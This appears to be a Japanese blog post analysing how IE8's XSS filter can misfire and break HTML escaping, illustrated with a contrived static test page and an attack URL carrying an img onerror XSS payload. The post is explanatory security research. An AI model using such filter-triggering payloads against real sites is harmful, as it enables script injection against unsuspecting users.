IE8のXSSフィルタが裏目に出る例

IE8のXSSフィルタは、WebアプリにXSS脆弱性があったとしても、それが発動する可能性を減らしてくれるものです。

しかし、そのXSSフィルタが裏目に出るようなこともあります。

例えば、以下のような静的なHTMLファイル(test.html)を作ってWebサーバにおきます。

<h3>ie8 test</h3>

<!-- 1 -->
<script>
var u=document.URL;
</script>

<!-- 2 -->
<script>
u=u.replace(/&/g,'&amp;').replace(/</g,'&lt;');
</script>

<!-- 3 -->
<script>
document.write('URL:'+u);
</script>

上のページは静的なページで、DOM Based XSS脆弱性もありません。ですが、被害者のユーザがIE8を使っている場合には、このページを使ったXSS攻撃を成功させることができます。

攻撃用のURLは、以下のとおりです。

test.html?%26amp;').replace(<img/src='_'onerror=alert(1)>

このURLにアクセスすると、XSSフィルタは攻撃を検知(誤検知)して、HTMLの一部を書き換えます。実際にレンダリングされるのは以下のHTMLです。

<h3>ie8 test</h3>

<!-- 1 -->
<script>
var u=document.URL;
</script>

<!-- 2 -->
<script>      ↓《XSSフィルタが書き換えた行》
u=u.replace(/&/g,'&amp;'#.replace#/</g,'&lt;');
</script>

<!-- 3 -->
<script>
document.write('URL:'+u);
</script>

IE8のXSSフィルタにより、HTMLエスケープをしている2つ目のscriptタグの中が壊されてしまいます。そのため、3つ目のscriptタグ内のdocument.write()の箇所が、XSS(DOM Based XSS脆弱性を持つようになってしまいます。

上の例のように、XSSフィルタは攻撃されたと推測した箇所のHTMLを書き換えてしまいます。そのため、攻撃を誤検知すると、その箇所を書き換えてしまい、ページの作者が意図したとおりに表示や動作しなくなることがあります。

(参考)
はてなブックマーク - <script type="text/javascript"> - Bing

通常は、誤検知したとしても、一部の表示がおかしくなったり、ボタンが動かなくなったりする程度だと思います。

しかし、意図的に誤検知を生じさせて、特定の機能を動作させないようにすることも、場合によっては可能です。上の例では、セキュリティ機能(HTMLエスケープしている箇所)が無効になるように誤検知を起こさせることで、XSSを成功させています。

ただし、上の例のページは、IE8のXSSフィルタの挙動を意識した、非常に恣意的なHTMLです。実際のWebページで、この例のようにXSSフィルタを誤検知させてXSSさせる攻撃が成功することは、まず無いだろうと思います。

ところで、XSSフィルタは、単一のリクエストとレスポンスを見るだけでXSSしているかを判定しています。誤検知は原理的に避けがたいと言えます。XSSフィルタの作者が、この種の危険性を認識しつつもXSSフィルタを導入したのか(あるいはそうではないのか)、ちょっと興味があります。